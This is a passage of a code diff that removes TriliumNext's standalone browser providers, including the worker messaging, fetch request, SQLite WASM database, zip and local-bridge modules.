-                } catch (e) {
-                    console.error("[WorkerMessagingProvider] Error in message handler:", e);
-                }
-            }
-        }
-    };
-
-    /**
-     * Send a message to all clients (in this case, the main thread).
-     * The main thread is responsible for further distribution if needed.
-     */
-    sendMessageToAllClients(message: WebSocketMessage): void {
-        if (this.isDisposed) {
-            console.warn("[WorkerMessagingProvider] Cannot send message - provider is disposed");
-            return;
-        }
-
-        try {
-            self.postMessage({
-                type: "WS_MESSAGE",
-                message
-            });
-        } catch (e) {
-            console.error("[WorkerMessagingProvider] Error sending message:", e);
-        }
-    }
-
-    /**
-     * Send a message to a specific client.
-     * In worker context, there's only one client (the main thread), so clientId is ignored.
-     */
-    sendMessageToClient(_clientId: string, message: WebSocketMessage): boolean {
-        if (this.isDisposed) {
-            return false;
-        }
-
-        this.sendMessageToAllClients(message);
-        return true;
-    }
-
-    /**
-     * Register a handler for incoming client messages.
-     */
-    setClientMessageHandler(handler: ClientMessageHandler): void {
-        this.clientMessageHandler = handler;
-    }
-
-    /**
-     * Subscribe to incoming messages from the main thread.
-     */
-    onMessage(handler: MessageHandler): () => void {
-        this.messageHandlers.push(handler);
-
-        return () => {
-            this.messageHandlers = this.messageHandlers.filter(h => h !== handler);
-        };
-    }
-
-    /**
-     * Get the number of connected "clients".
-     * In worker context, there's always exactly 1 client (the main thread).
-     */
-    getClientCount(): number {
-        return this.isDisposed ? 0 : 1;
-    }
-
-    /**
-     * Clean up resources.
-     */
-    dispose(): void {
-        if (this.isDisposed) return;
-
-        this.isDisposed = true;
-        self.removeEventListener("message", this.handleIncomingMessage);
-        this.messageHandlers = [];
-    }
-}

apps/client-standalone/src/lightweight/platform_provider.ts

@@ -1,36 +0,0 @@
-import type { PlatformProvider } from "@triliumnext/core";
-
-/** Maps URL query parameter names to TRILIUM_ environment variable names. */
-const QUERY_TO_ENV: Record<string, string> = {
-    "safeMode": "TRILIUM_SAFE_MODE",
-    "startNoteId": "TRILIUM_START_NOTE_ID",
-};
-
-export default class StandalonePlatformProvider implements PlatformProvider {
-    readonly isElectron = false;
-    readonly isMac = false;
-    readonly isWindows = false;
-
-    private envMap: Record<string, string> = {};
-
-    constructor(queryString: string) {
-        const params = new URLSearchParams(queryString);
-        for (const [queryKey, envKey] of Object.entries(QUERY_TO_ENV)) {
-            if (params.has(queryKey)) {
-                this.envMap[envKey] = params.get(queryKey) || "true";
-            }
-        }
-    }
-
-    crash(message: string): void {
-        console.error("[Standalone] FATAL:", message);
-        self.postMessage({
-            type: "FATAL_ERROR",
-            message
-        });
-    }
-
-    getEnv(key: string): string | undefined {
-        return this.envMap[key];
-    }
-}

apps/client-standalone/src/lightweight/request_provider.ts

@@ -1,93 +0,0 @@
-import type { ExecOpts, RequestProvider } from "@triliumnext/core";
-
-/**
- * Fetch-based implementation of RequestProvider for browser environments.
- *
- * Uses the Fetch API instead of Node's http/https modules.
- * Proxy support is not available in browsers, so the proxy option is ignored.
- */
-export default class FetchRequestProvider implements RequestProvider {
-
-    async exec<T>(opts: ExecOpts): Promise<T> {
-        const paging = opts.paging || {
-            pageCount: 1,
-            pageIndex: 0,
-            requestId: "n/a"
-        };
-
-        const headers: Record<string, string> = {
-            "Content-Type": paging.pageCount === 1 ? "application/json" : "text/plain",
-            "pageCount": String(paging.pageCount),
-            "pageIndex": String(paging.pageIndex),
-            "requestId": paging.requestId
-        };
-
-        // Note: the Cookie header is a forbidden header in fetch —
-        // the browser manages cookies automatically via credentials: 'include'.
-
-        if (opts.auth?.password) {
-            headers["trilium-cred"] = btoa(`dummy:${opts.auth.password}`);
-        }
-
-        let body: string | undefined;
-        if (opts.body) {
-            body = typeof opts.body === "object" ? JSON.stringify(opts.body) : opts.body;
-        }
-
-        const controller = new AbortController();
-        const timeoutId = opts.timeout
-            ? setTimeout(() => controller.abort(), opts.timeout)
-            : undefined;
-
-        try {
-            const response = await fetch(opts.url, {
-                method: opts.method,
-                headers,
-                body,
-                signal: controller.signal,
-                credentials: "include"
-            });
-
-            if ([200, 201, 204].includes(response.status)) {
-                const text = await response.text();
-                return text.trim() ? JSON.parse(text) : null;
-            }
-            const text = await response.text();
-            let errorMessage: string;
-            try {
-                const json = JSON.parse(text);
-                errorMessage = json?.message || "";
-            } catch {
-                errorMessage = text.substring(0, 100);
-            }
-            throw new Error(`${response.status} ${opts.method} ${opts.url}: ${errorMessage}`);
-
-        } catch (e: any) {
-            if (e.name === "AbortError") {
-                throw new Error(`${opts.method} ${opts.url} failed, error: timeout after ${opts.timeout}ms`);
-            }
-            if (e instanceof TypeError && e.message === "Failed to fetch") {
-                const isCrossOrigin = !opts.url.startsWith(location.origin);
-                if (isCrossOrigin) {
-                    throw new Error(`Request to ${opts.url} was blocked. The server may not allow requests from this origin (CORS), or it may be unreachable.`);
-                }
-                throw new Error(`Request to ${opts.url} failed. The server may be unreachable.`);
-            }
-            throw e;
-        } finally {
-            if (timeoutId) {
-                clearTimeout(timeoutId);
-            }
-        }
-    }
-
-    async getImage(imageUrl: string): Promise<ArrayBuffer> {
-        const response = await fetch(imageUrl);
-
-        if (!response.ok) {
-            throw new Error(`${response.status} GET ${imageUrl} failed`);
-        }
-
-        return await response.arrayBuffer();
-    }
-}

apps/client-standalone/src/lightweight/sql_provider.ts

@@ -1,616 +0,0 @@
-import { type BindableValue, default as sqlite3InitModule } from "@sqlite.org/sqlite-wasm";
-import type { DatabaseProvider, RunResult, Statement, Transaction } from "@triliumnext/core";
-
-// Type definitions for SQLite WASM (the library doesn't export these directly)
-type Sqlite3Module = Awaited<ReturnType<typeof sqlite3InitModule>>;
-type Sqlite3Database = InstanceType<Sqlite3Module["oo1"]["DB"]>;
-type Sqlite3PreparedStatement = ReturnType<Sqlite3Database["prepare"]>;
-
-/**
- * Wraps an SQLite WASM PreparedStatement to match the Statement interface
- * expected by trilium-core.
- */
-class WasmStatement implements Statement {
-    private isRawMode = false;
-    private isPluckMode = false;
-    private isFinalized = false;
-
-    constructor(
-        private stmt: Sqlite3PreparedStatement,
-        private db: Sqlite3Database,
-        private sqlite3: Sqlite3Module,
-        private sql: string
-    ) {}
-
-    run(...params: unknown[]): RunResult {
-        if (this.isFinalized) {
-            throw new Error("Cannot call run() on finalized statement");
-        }
-
-        this.bindParams(params);
-        try {
-            // Use step() and then reset instead of stepFinalize()
-            // This allows the statement to be reused
-            this.stmt.step();
-            const changes = this.db.changes();
-            // Get the last insert row ID using the C API
-            const lastInsertRowid = this.db.pointer ? this.sqlite3.capi.sqlite3_last_insert_rowid(this.db.pointer) : 0;
-            this.stmt.reset();
-            return {
-                changes,
-                lastInsertRowid: typeof lastInsertRowid === "bigint" ? Number(lastInsertRowid) : lastInsertRowid
-            };
-        } catch (e) {
-            // Reset on error to allow reuse
-            this.stmt.reset();
-            throw e;
-        }
-    }
-
-    get(params: unknown): unknown {
-        if (this.isFinalized) {
-            throw new Error("Cannot call get() on finalized statement");
-        }
-
-        this.bindParams(Array.isArray(params) ? params : params !== undefined ? [params] : []);
-        try {
-            if (this.stmt.step()) {
-                if (this.isPluckMode) {
-                    // In pluck mode, return only the first column value
-                    const row = this.stmt.get([]);
-                    return Array.isArray(row) && row.length > 0 ? row[0] : undefined;
-                }
-                return this.isRawMode ? this.stmt.get([]) : this.stmt.get({});
-            }
-            return undefined;
-        } finally {
-            this.stmt.reset();
-        }
-    }
-
-    all(...params: unknown[]): unknown[] {
-        if (this.isFinalized) {
-            throw new Error("Cannot call all() on finalized statement");
-        }
-
-        this.bindParams(params);
-        const results: unknown[] = [];
-        try {
-            while (this.stmt.step()) {
-                if (this.isPluckMode) {
-                    // In pluck mode, return only the first column value for each row
-                    const row = this.stmt.get([]);
-                    if (Array.isArray(row) && row.length > 0) {
-                        results.push(row[0]);
-                    }
-                } else {
-                    results.push(this.isRawMode ? this.stmt.get([]) : this.stmt.get({}));
-                }
-            }
-            return results;
-        } finally {
-            this.stmt.reset();
-        }
-    }
-
-    iterate(...params: unknown[]): IterableIterator<unknown> {
-        if (this.isFinalized) {
-            throw new Error("Cannot call iterate() on finalized statement");
-        }
-
-        this.bindParams(params);
-        const stmt = this.stmt;
-        const isRaw = this.isRawMode;
-        const isPluck = this.isPluckMode;
-
-        return {
-            [Symbol.iterator]() {
-                return this;
-            },
-            next(): IteratorResult<unknown> {
-                if (stmt.step()) {
-                    if (isPluck) {
-                        const row = stmt.get([]);
-                        const value = Array.isArray(row) && row.length > 0 ? row[0] : undefined;
-                        return { value, done: false };
-                    }
-                    return { value: isRaw ? stmt.get([]) : stmt.get({}), done: false };
-                }
-                stmt.reset();
-                return { value: undefined, done: true };
-            }
-        };
-    }
-
-    raw(toggleState?: boolean): this {
-        // In raw mode, rows are returned as arrays instead of objects
-        // If toggleState is undefined, enable raw mode (better-sqlite3 behavior)
-        this.isRawMode = toggleState !== undefined ? toggleState : true;
-        return this;
-    }
-
-    pluck(toggleState?: boolean): this {
-        // In pluck mode, only the first column of each row is returned
-        // If toggleState is undefined, enable pluck mode (better-sqlite3 behavior)
-        this.isPluckMode = toggleState !== undefined ? toggleState : true;
-        return this;
-    }
-
-    /**
-     * Detect the prefix used for a parameter name in the SQL query.
-     * SQLite supports @name, :name, and $name parameter styles.
-     * Returns the prefix character, or ':' as default if not found.
-     */
-    private detectParamPrefix(paramName: string): string {
-        // Search for the parameter with each possible prefix
-        for (const prefix of [':', '@', '$']) {
-            // Use word boundary to avoid partial matches
-            const pattern = new RegExp(`\\${prefix}${paramName}(?![a-zA-Z0-9_])`);
-            if (pattern.test(this.sql)) {
-                return prefix;
-            }
-        }
-        // Default to ':' if not found (most common in Trilium)
-        return ':';
-    }
-
-    private bindParams(params: unknown[]): void {
-        this.stmt.clearBindings();
-        if (params.length === 0) {
-            return;
-        }
-
-        // Handle single object with named parameters
-        if (params.length === 1 && typeof params[0] === "object" && params[0] !== null && !Array.isArray(params[0])) {
-            const inputBindings = params[0] as { [paramName: string]: BindableValue };
-
-            // SQLite WASM expects parameter names to include the prefix (@ : or $)
-            // We detect the prefix used in the SQL for each parameter
-            const bindings: { [paramName: string]: BindableValue } = {};
-            for (const [key, value] of Object.entries(inputBindings)) {
-                // If the key already has a prefix, use it as-is
-                if (key.startsWith('@') || key.startsWith(':') || key.startsWith('$')) {
-                    bindings[key] = value;
-                } else {
-                    // Detect the prefix used in the SQL and apply it
-                    const prefix = this.detectParamPrefix(key);
-                    bindings[`${prefix}${key}`] = value;
-                }
-            }
-
-            this.stmt.bind(bindings);
-        } else {
-            // Handle positional parameters - flatten and cast to BindableValue[]
-            const flatParams = params.flat() as BindableValue[];
-            if (flatParams.length > 0) {
-                this.stmt.bind(flatParams);
-            }
-        }
-    }
-
-    finalize(): void {
-        if (!this.isFinalized) {
-            try {
-                this.stmt.finalize();
-            } catch (e) {
-                console.warn("Error finalizing SQLite statement:", e);
-            } finally {
-                this.isFinalized = true;
-            }
-        }
-    }
-}
-
-/**
- * SQLite database provider for browser environments using SQLite WASM.
- *
- * This provider wraps the official @sqlite.org/sqlite-wasm package to provide
- * a DatabaseProvider implementation compatible with trilium-core.
- *
- * @example
- * ```typescript
- * const provider = new BrowserSqlProvider();
- * await provider.initWasm(); // Initialize SQLite WASM module
- * provider.loadFromMemory(); // Open an in-memory database
- * // or
- * provider.loadFromBuffer(existingDbBuffer); // Load from existing data
- * ```
- */
-export default class BrowserSqlProvider implements DatabaseProvider {
-    private db?: Sqlite3Database;
-    private sqlite3?: Sqlite3Module;
-    private _inTransaction = false;
-    private initPromise?: Promise<void>;
-    private initError?: Error;
-    private statementCache: Map<string, WasmStatement> = new Map();
-
-    // OPFS state tracking
-    private opfsDbPath?: string;
-
-    /**
-     * Get the SQLite WASM module version info.
-     * Returns undefined if the module hasn't been initialized yet.
-     */
-    get version(): { libVersion: string; sourceId: string } | undefined {
-        return this.sqlite3?.version;
-    }
-
-    /**
-     * Initialize the SQLite WASM module.
-     * This must be called before using any database operations.
-     * Safe to call multiple times - subsequent calls return the same promise.
-     *
-     * @returns A promise that resolves when the module is initialized
-     * @throws Error if initialization fails
-     */
-    async initWasm(): Promise<void> {
-        // Return existing promise if already initializing/initialized
-        if (this.initPromise) {
-            return this.initPromise;
-        }
-
-        // Fail fast if we already tried and failed
-        if (this.initError) {
-            throw this.initError;
-        }
-
-        this.initPromise = this.doInitWasm();
-        return this.initPromise;
-    }
-
-    private async doInitWasm(): Promise<void> {
-        try {
-            console.log("[BrowserSqlProvider] Initializing SQLite WASM...");
-            const startTime = performance.now();
-
-            this.sqlite3 = await sqlite3InitModule({
-                print: console.log,
-                printErr: console.error,
-            });
-
-            const initTime = performance.now() - startTime;
-            console.log(
-                `[BrowserSqlProvider] SQLite WASM initialized in ${initTime.toFixed(2)}ms:`,
-                this.sqlite3.version.libVersion
-            );
-        } catch (e) {
-            this.initError = e instanceof Error ? e : new Error(String(e));
-            console.error("[BrowserSqlProvider] SQLite WASM initialization failed:", this.initError);
-            throw this.initError;
-        }
-    }
-
-    /**
-     * Check if the SQLite WASM module has been initialized.
-     */
-    get isInitialized(): boolean {
-        return this.sqlite3 !== undefined;
-    }
-
-    // ==================== OPFS Support ====================
-
-    /**
-     * Check if the OPFS VFS is available.
-     * This requires:
-     * - Running in a Worker context
-     * - Browser support for OPFS APIs
-     * - COOP/COEP headers sent by the server (for SharedArrayBuffer)
-     *
-     * @returns true if OPFS VFS is available for use
-     */
-    isOpfsAvailable(): boolean {
-        this.ensureSqlite3();
-        // SQLite WASM automatically installs the OPFS VFS if the environment supports it
-        // We can check for its presence via sqlite3_vfs_find or the OpfsDb class
-        return this.sqlite3!.oo1.OpfsDb !== undefined;
-    }
-
-    /**
-     * Load or create a database stored in OPFS for persistent storage.
-     * The database will persist across browser sessions.
-     *
-     * Requires COOP/COEP headers to be set by the server:
-     * - Cross-Origin-Opener-Policy: same-origin
-     * - Cross-Origin-Embedder-Policy: require-corp
-     *
-     * @param path - The path for the database file in OPFS (e.g., "/trilium.db")
-     *               Paths without a leading slash are treated as relative to OPFS root.
-     *               Leading directories are created automatically.
-     * @param options - Additional options
-     * @throws Error if OPFS VFS is not available
-     *
-     * @example
-     * ```typescript
-     * const provider = new BrowserSqlProvider();
-     * await provider.initWasm();
-     * if (provider.isOpfsAvailable()) {
-     *     provider.loadFromOpfs("/my-database.db");
-     * } else {
-     *     console.warn("OPFS not available, using in-memory database");
-     *     provider.loadFromMemory();
-     * }
-     * ```
-     */
-    loadFromOpfs(path: string, options: { createIfNotExists?: boolean } = {}): void {
-        this.ensureSqlite3();
-
-        if (!this.isOpfsAvailable()) {
-            throw new Error(
-                "OPFS VFS is not available. This requires:\n" +
-                "1. Running in a Worker context\n" +
-                "2. Browser support for OPFS (Chrome 102+, Firefox 111+, Safari 17+)\n" +
-                "3. COOP/COEP headers from the server:\n" +
-                "   Cross-Origin-Opener-Policy: same-origin\n" +
-                "   Cross-Origin-Embedder-Policy: require-corp"
-            );
-        }
-
-        console.log(`[BrowserSqlProvider] Loading database from OPFS: ${path}`);
-        const startTime = performance.now();
-
-        try {
-            // OpfsDb automatically creates directories in the path
-            // Mode 'c' = create if not exists
-            const mode = options.createIfNotExists !== false ? 'c' : '';
-            this.db = new this.sqlite3!.oo1.OpfsDb(path, mode);
-            this.opfsDbPath = path;
-
-            // Configure the database for OPFS
-            // Note: WAL mode requires exclusive locking in OPFS environment
-            this.db.exec("PRAGMA journal_mode = DELETE");
-            this.db.exec("PRAGMA synchronous = NORMAL");
-
-            const loadTime = performance.now() - startTime;
-            console.log(`[BrowserSqlProvider] OPFS database loaded in ${loadTime.toFixed(2)}ms`);
-        } catch (e) {
-            const error = e instanceof Error ? e : new Error(String(e));
-            console.error(`[BrowserSqlProvider] Failed to load OPFS database: ${error.message}`);
-            throw error;
-        }
-    }
-
-    /**
-     * Check if the currently open database is stored in OPFS.
-     */
-    get isUsingOpfs(): boolean {
-        return this.opfsDbPath !== undefined;
-    }
-
-    /**
-     * Get the OPFS path of the currently open database.
-     * Returns undefined if not using OPFS.
-     */
-    get currentOpfsPath(): string | undefined {
-        return this.opfsDbPath;
-    }
-
-    /**
-     * Check if the database has been initialized with a schema.
-     * This is a simple sanity check that looks for the existence of core tables.
-     *
-     * @returns true if the database appears to be initialized
-     */
-    isDbInitialized(): boolean {
-        this.ensureDb();
-
-        // Check if the 'notes' table exists (a core table that must exist in an initialized DB)
-        const tableExists = this.db!.selectValue(
-            "SELECT name FROM sqlite_master WHERE type = 'table' AND name = 'notes'"
-        );
-
-        return tableExists !== undefined;
-    }
-
-    // ==================== End OPFS Support ====================
-
-    loadFromFile(_path: string, _isReadOnly: boolean): void {
-        // Browser environment doesn't have direct file system access.
-        // Use OPFS for persistent storage.
-        throw new Error(
-            "loadFromFile is not supported in browser environment. " +
-            "Use loadFromMemory() for temporary databases, loadFromBuffer() to load from data, " +
-            "or loadFromOpfs() for persistent storage."
-        );
-    }
-
-    /**
-     * Create an empty in-memory database.
-     * Data will be lost when the page is closed.
-     *
-     * For persistent storage, use loadFromOpfs() instead.
-     * To load demo data, call initializeDemoDatabase() after this.
-     */
-    loadFromMemory(): void {
-        this.ensureSqlite3();
-        console.log("[BrowserSqlProvider] Creating in-memory database...");
-        const startTime = performance.now();
-
-        this.db = new this.sqlite3!.oo1.DB(":memory:", "c");
-        this.opfsDbPath = undefined; // Not using OPFS
-        this.db.exec("PRAGMA journal_mode = WAL");
-
-        const loadTime = performance.now() - startTime;
-        console.log(`[BrowserSqlProvider] In-memory database created in ${loadTime.toFixed(2)}ms`);
-    }
-
-    loadFromBuffer(buffer: Uint8Array): void {
-        this.ensureSqlite3();
-        // SQLite WASM can deserialize a database from a byte array
-        const p = this.sqlite3!.wasm.allocFromTypedArray(buffer);
-        try {
-            this.db = new this.sqlite3!.oo1.DB({ filename: ":memory:", flags: "c" });
-            this.opfsDbPath = undefined; // Not using OPFS
-
-            const rc = this.sqlite3!.capi.sqlite3_deserialize(
-                this.db.pointer!,
-                "main",
-                p,
-                buffer.byteLength,
-                buffer.byteLength,
-                this.sqlite3!.capi.SQLITE_DESERIALIZE_FREEONCLOSE |
-                this.sqlite3!.capi.SQLITE_DESERIALIZE_RESIZEABLE
-            );
-            if (rc !== 0) {
-                throw new Error(`Failed to deserialize database: ${rc}`);
-            }
-        } catch (e) {
-            this.sqlite3!.wasm.dealloc(p);
-            throw e;
-        }
-    }
-
-    backup(_destinationFile: string): void {
-        // In browser, we can serialize the database to a byte array
-        // For actual file backup, we'd need to use File System Access API or download
-        throw new Error(
-            "backup to file is not supported in browser environment. " +
-            "Use serialize() to get the database as a Uint8Array instead."
-        );
-    }
-
-    /**
-     * Serialize the database to a byte array.
-     * This can be used to save the database to IndexedDB, download it, etc.
-     */
-    serialize(): Uint8Array {
-        this.ensureDb();
-        // Use the convenience wrapper which handles all the memory management
-        return this.sqlite3!.capi.sqlite3_js_db_export(this.db!);
-    }
-
-    prepare(query: string): Statement {
-        this.ensureDb();
-
-        // Check if we already have this statement cached
-        if (this.statementCache.has(query)) {
-            return this.statementCache.get(query)!;
-        }
-
-        // Create new statement and cache it
-        const stmt = this.db!.prepare(query);
-        const wasmStatement = new WasmStatement(stmt, this.db!, this.sqlite3!, query);
-        this.statementCache.set(query, wasmStatement);
-        return wasmStatement;
-    }
-
-    transaction<T>(func: (statement: Statement) => T): Transaction {
-        this.ensureDb();
-
-        const self = this;
-        let savepointCounter = 0;
-
-        // Helper function to execute within a transaction
-        const executeTransaction = (beginStatement: string, ...args: unknown[]): T => {
-            // If we're already in a transaction (either tracked via JS flag or via actual SQLite
-            // autocommit state), use SAVEPOINTs for nesting — this handles the case where a manual
-            // BEGIN was issued directly (e.g. transactionalAsync) without going through transaction().
-            const sqliteInTransaction = self.db?.pointer !== undefined
-                && (self.sqlite3!.capi as any).sqlite3_get_autocommit(self.db!.pointer) === 0;
-            if (self._inTransaction || sqliteInTransaction) {
-                const savepointName = `sp_${++savepointCounter}_${Date.now()}`;
-                self.db!.exec(`SAVEPOINT ${savepointName}`);
-                try {
-                    const result = func.apply(null, args as [Statement]);
-                    self.db!.exec(`RELEASE SAVEPOINT ${savepointName}`);
-                    return result;
-                } catch (e) {
-                    self.db!.exec(`ROLLBACK TO SAVEPOINT ${savepointName}`);
-                    throw e;
-                }
-            }
-
-            // Not in a transaction, start a new one
-            self._inTransaction = true;
-            self.db!.exec(beginStatement);
-            try {
-                const result = func.apply(null, args as [Statement]);
-                self.db!.exec("COMMIT");
-                return result;
-            } catch (e) {
-                self.db!.exec("ROLLBACK");
-                throw e;
-            } finally {
-                self._inTransaction = false;
-            }
-        };
-
-        // Create the transaction function that acts like better-sqlite3's Transaction interface
-        // In better-sqlite3, the transaction function is callable and has .deferred(), .immediate(), etc.
-        const transactionWrapper = Object.assign(
-            // Default call executes with BEGIN (same as immediate)
-            (...args: unknown[]): T => executeTransaction("BEGIN", ...args),
-            {
-                // Deferred transaction - locks acquired on first data access
-                deferred: (...args: unknown[]): T => executeTransaction("BEGIN DEFERRED", ...args),
-                // Immediate transaction - acquires write lock immediately
-                immediate: (...args: unknown[]): T => executeTransaction("BEGIN IMMEDIATE", ...args),
-                // Exclusive transaction - exclusive lock
-                exclusive: (...args: unknown[]): T => executeTransaction("BEGIN EXCLUSIVE", ...args),
-                // Default is same as calling directly
-                default: (...args: unknown[]): T => executeTransaction("BEGIN", ...args)
-            }
-        );
-
-        return transactionWrapper as unknown as Transaction;
-    }
-
-    get inTransaction(): boolean {
-        return this._inTransaction;
-    }
-
-    exec(query: string): void {
-        this.ensureDb();
-        this.db!.exec(query);
-    }
-
-    close(): void {
-        // Clean up all cached statements first
-        for (const statement of this.statementCache.values()) {
-            try {
-                statement.finalize();
-            } catch (e) {
-                // Ignore errors during cleanup
-                console.warn("Error finalizing statement during cleanup:", e);
-            }
-        }
-        this.statementCache.clear();
-
-        if (this.db) {
-            this.db.close();
-            this.db = undefined;
-        }
-
-        // Reset OPFS state
-        this.opfsDbPath = undefined;
-    }
-
-    /**
-     * Get the number of rows changed by the last INSERT, UPDATE, or DELETE statement.
-     */
-    changes(): number {
-        this.ensureDb();
-        return this.db!.changes();
-    }
-
-    /**
-     * Check if the database is currently open.
-     */
-    isOpen(): boolean {
-        return this.db !== undefined && this.db.isOpen();
-    }
-
-    private ensureSqlite3(): void {
-        if (!this.sqlite3) {
-            throw new Error(
-                "SQLite WASM module not initialized. Call initialize() first with the sqlite3 module."
-            );
-        }
-    }
-
-    private ensureDb(): void {
-        this.ensureSqlite3();
-        if (!this.db) {
-            throw new Error("Database not opened. Call loadFromMemory(), loadFromBuffer(), or loadFromOpfs() first.");
-        }
-    }
-}

apps/client-standalone/src/lightweight/translation_provider.ts

@@ -1,16 +0,0 @@
-import { LOCALE_IDS } from "@triliumnext/commons";
-import type i18next from "i18next";
-import I18NextHttpBackend from "i18next-http-backend";
-
-export default async function translationProvider(i18nextInstance: typeof i18next, locale: LOCALE_IDS) {
-    await i18nextInstance.use(I18NextHttpBackend).init({
-        lng: locale,
-        fallbackLng: "en",
-        ns: "server",
-        backend: {
-            loadPath: `${import.meta.resolve("../server-assets/translations")}/{{lng}}/{{ns}}.json`
-        },
-        returnEmptyString: false,
-        debug: true
-    });
-}

apps/client-standalone/src/lightweight/zip_export_provider_factory.ts

@@ -1,18 +0,0 @@
-import { type ExportFormat, type ZipExportProviderData, ZipExportProvider } from "@triliumnext/core";
-
-import contentCss from "@triliumnext/ckeditor5/src/theme/ck-content.css?raw";
-
-export async function standaloneZipExportProviderFactory(format: ExportFormat, data: ZipExportProviderData): Promise<ZipExportProvider> {
-    switch (format) {
-        case "html": {
-            const { default: HtmlExportProvider } = await import("@triliumnext/core/src/services/export/zip/html.js");
-            return new HtmlExportProvider(data, { contentCss });
-        }
-        case "markdown": {
-            const { default: MarkdownExportProvider } = await import("@triliumnext/core/src/services/export/zip/markdown.js");
-            return new MarkdownExportProvider(data);
-        }
-        default:
-            throw new Error(`Unsupported export format: '${format}'`);
-    }
-}

apps/client-standalone/src/lightweight/zip_provider.ts

@@ -1,79 +0,0 @@
-import type { FileStream, ZipArchive, ZipEntry, ZipProvider } from "@triliumnext/core/src/services/zip_provider.js";
-import { strToU8, unzip, zipSync } from "fflate";
-
-type ZipOutput = {
-    send?: (body: unknown) => unknown;
-    write?: (chunk: Uint8Array | string) => unknown;
-    end?: (chunk?: Uint8Array | string) => unknown;
-};
-
-class BrowserZipArchive implements ZipArchive {
-    readonly #entries: Record<string, Uint8Array> = {};
-    #destination: ZipOutput | null = null;
-
-    append(content: string | Uint8Array, options: { name: string }) {
-        this.#entries[options.name] = typeof content === "string" ? strToU8(content) : content;
-    }
-
-    pipe(destination: unknown) {
-        this.#destination = destination as ZipOutput;
-    }
-
-    async finalize(): Promise<void> {
-        if (!this.#destination) {
-            throw new Error("ZIP output destination not set.");
-        }
-
-        const content = zipSync(this.#entries, { level: 9 });
-
-        if (typeof this.#destination.send === "function") {
-            this.#destination.send(content);
-            return;
-        }
-
-        if (typeof this.#destination.end === "function") {
-            if (typeof this.#destination.write === "function") {
-                this.#destination.write(content);
-                this.#destination.end();
-            } else {
-                this.#destination.end(content);
-            }
-            return;
-        }
-
-        throw new Error("Unsupported ZIP output destination.");
-    }
-}
-
-export default class BrowserZipProvider implements ZipProvider {
-    createZipArchive(): ZipArchive {
-        return new BrowserZipArchive();
-    }
-
-    createFileStream(_filePath: string): FileStream {
-        throw new Error("File stream creation is not supported in the browser.");
-    }
-
-    readZipFile(
-        buffer: Uint8Array,
-        processEntry: (entry: ZipEntry, readContent: () => Promise<Uint8Array>) => Promise<void>
-    ): Promise<void> {
-        return new Promise<void>((res, rej) => {
-            unzip(buffer, async (err, files) => {
-                if (err) { rej(err); return; }
-
-                try {
-                    for (const [fileName, data] of Object.entries(files)) {
-                        await processEntry(
-                            { fileName },
-                            () => Promise.resolve(data)
-                        );
-                    }
-                    res();
-                } catch (e) {
-                    rej(e);
-                }
-            });
-        });
-    }
-}

apps/client-standalone/src/local-bridge.ts

@@ -1,110 +0,0 @@
-import LocalServerWorker from "./local-server-worker?worker";
-let localWorker: Worker | null = null;
-const pending = new Map();
-
-function showFatalErrorDialog(message: string) {
-    alert(message);
-}
-
-export function startLocalServerWorker() {
-    if (localWorker) return localWorker;
-    localWorker = new LocalServerWorker();
-    localWorker.postMessage({ type: "INIT", queryString: location.search });
-
-    // Handle worker errors during initialization
-    localWorker.onerror = (event) => {
-        console.error("[LocalBridge] Worker error:", event);
-        // Reject all pending requests
-        for (const [, resolver] of pending) {
-            resolver.reject(new Error(`Worker error: ${event.message}`));
-        }
-        pending.clear();
-    };
-
-    localWorker.onmessage = (event) => {
-        const msg = event.data;
-
-        // Handle fatal platform crashes (shown as a dialog to the user)
-        if (msg?.type === "FATAL_ERROR") {
-            console.error("[LocalBridge] Fatal error:", msg.message);
-            showFatalErrorDialog(msg.message);
-            return;
-        }
-
-        // Handle worker error reports
-        if (msg?.type === "WORKER_ERROR") {
-            console.error("[LocalBridge] Worker reported error:", msg.error);
-            // Reject all pending requests with the error
-            for (const [, resolver] of pending) {
-                resolver.reject(new Error(msg.error?.message || "Unknown worker error"));
-            }
-            pending.clear();
-            return;
-        }
-
-        // Handle WebSocket-like messages from the worker (for frontend updates)
-        if (msg?.type === "WS_MESSAGE" && msg.message) {
-            // Dispatch a custom event that ws.ts listens to in standalone mode
-            window.dispatchEvent(new CustomEvent("trilium:ws-message", {
-                detail: msg.message
-            }));
-            return;
-        }
-
-        if (!msg || msg.type !== "LOCAL_RESPONSE") return;
-
-        const { id, response, error } = msg;
-        const resolver = pending.get(id);
-        if (!resolver) return;
-        pending.delete(id);
-
-        if (error) resolver.reject(new Error(error));
-        else resolver.resolve(response);
-    };
-
-    return localWorker;
-}
-
-export function attachServiceWorkerBridge() {
-    navigator.serviceWorker.addEventListener("message", async (event) => {
-        const msg = event.data;
-        if (!msg || msg.type !== "LOCAL_FETCH") return;
-
-        const port = event.ports && event.ports[0];
-        if (!port) return;
-
-        try {
-            startLocalServerWorker();
-
-            const id = msg.id;
-            const req = msg.request;
-
-            const response = await new Promise<{ body?: ArrayBuffer }>((resolve, reject) => {
-                pending.set(id, { resolve, reject });
-                // Transfer body to worker for efficiency (if present)
-                localWorker!.postMessage({
-                    type: "LOCAL_REQUEST",
-                    id,
-                    request: req
-                }, req.body ? [req.body] : []);
-            });
-
-            port.postMessage({
-                type: "LOCAL_FETCH_RESPONSE",
-                id,
-                response
-            }, response.body ? [response.body] : []);
-        } catch (e: unknown) {
-            const errorMessage = e instanceof Error ? e.message : String(e);
-            port.postMessage({
-                type: "LOCAL_FETCH_RESPONSE",
-                id: msg.id,
-                response: {
-                    status: 500,
-                    headers: { "content-type": "text/plain; charset=utf-8" },
-                    body: new TextEncoder().encode(errorMessage).buffer
-                }
-            });
-        }
-    });
-}

apps/client-standalone/src/local-server-worker.ts

@@ -1,286 +0,0 @@
-// =============================================================================
-// ERROR HANDLERS FIRST - No static imports above this!
-// ES modules hoist static imports, so they execute BEFORE any code runs.
-// We use dynamic imports below to ensure error handlers are registered first.
-// =============================================================================
-
-self.onerror = (message, source, lineno, colno, error) => {
-    const errorMsg = `[Worker] Uncaught error: ${message}\n  at ${source}:${lineno}:${colno}`;
-    console.error(errorMsg, error);
-    try {
-        self.postMessage({
-            type: "WORKER_ERROR",
-            error: {
-                message: String(message),
-                source,
-                lineno,
-                colno,
-                stack: error?.stack || new Error().stack
-            }
-        });
-    } catch (e) {
-        console.error("[Worker] Failed to report error:", e);
-    }
-    return false;
-};
-
-self.onunhandledrejection = (event) => {
-    const reason = event.reason;
-    const errorMsg = `[Worker] Unhandled rejection: ${reason?.message || reason}`;
-    console.error(errorMsg, reason);
-    try {
-        self.postMessage({
-            type: "WORKER_ERROR",
-            error: {
